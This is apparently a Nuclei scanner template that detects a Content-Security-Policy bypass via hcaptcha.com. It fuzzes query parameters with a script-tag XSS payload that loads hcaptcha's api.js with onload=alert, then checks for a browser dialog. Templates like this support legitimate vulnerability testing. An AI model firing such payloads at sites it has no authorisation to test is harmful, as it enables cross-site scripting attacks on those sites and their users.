id: hcaptcha-csp-bypass

info:
  name: Content-Security-Policy Bypass - hCaptcha
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,hcaptcha,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "hcaptcha.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: hcaptcha_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://hcaptcha.com/1/api.js?onload=alert&render=explicit"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "hcaptcha_csp_xss == true"
# digest: 4b0a0048304602210091a0cb8f83e279ff51969809635de72dfac302d0e9963ba345486d8000c42520022100e41ce130f4282db5fd3cd68dd875ec91bb01c558d76cf343f42a9fefcc53f8f1:922c64590222798bb761d5b6d8e72950